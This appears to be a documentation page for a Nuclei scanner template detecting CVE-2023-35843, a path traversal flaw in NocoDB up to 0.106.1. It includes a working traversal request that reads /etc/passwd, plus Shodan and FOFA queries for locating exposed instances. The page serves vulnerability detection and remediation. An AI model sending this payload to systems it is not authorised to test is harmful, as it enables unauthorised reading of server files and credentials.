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NocoDB version <= 0.106.1 - Arbitrary File Read

ID: CVE-2023-35843

Severity: high

Author: dwisiswant0

Tags: cve2023,cve,nocodb,lfi

Description

Section titled “Description”

NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.

YAML Source

Section titled “YAML Source”
id: CVE-2023-35843


info:
  name: NocoDB version <= 0.106.1 - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database contents, and other confidential data.
  remediation: |
    Upgrade NocoDB to a version higher than 0.106.1 to mitigate the vulnerability.
  reference:
    - https://advisory.dw1.io/60
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35843
    - https://github.com/nocodb/nocodb/blob/6decfa2b20c28db9946bddce0bcb1442b683ecae/packages/nocodb/src/lib/controllers/attachment.ctl.ts#L62-L74
    - https://github.com/nocodb/nocodb/blob/f7ee7e3beb91d313a159895d1edc1aba9d91b0bc/packages/nocodb/src/controllers/attachments.controller.ts#L55-L66
    - https://github.com/0x783kb/Security-operation-book
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-35843
    cwe-id: CWE-22
    epss-score: 0.06332
    epss-percentile: 0.93628
    cpe: cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nocodb
    product: nocodb
    shodan-query: http.favicon.hash:-2017596142
    fofa-query: icon_hash=-2017596142
  tags: cve2023,cve,nocodb,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022022a6db59a80c2bd1beef1e4c43a99ab3b3282c355e49debb9af07e1f3e781fad022100b1263a3a379a6a7cd25dddf65768b4ef798b2dc1f4bb57cbc68f82a3084a6de0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35843.yaml"

View on Github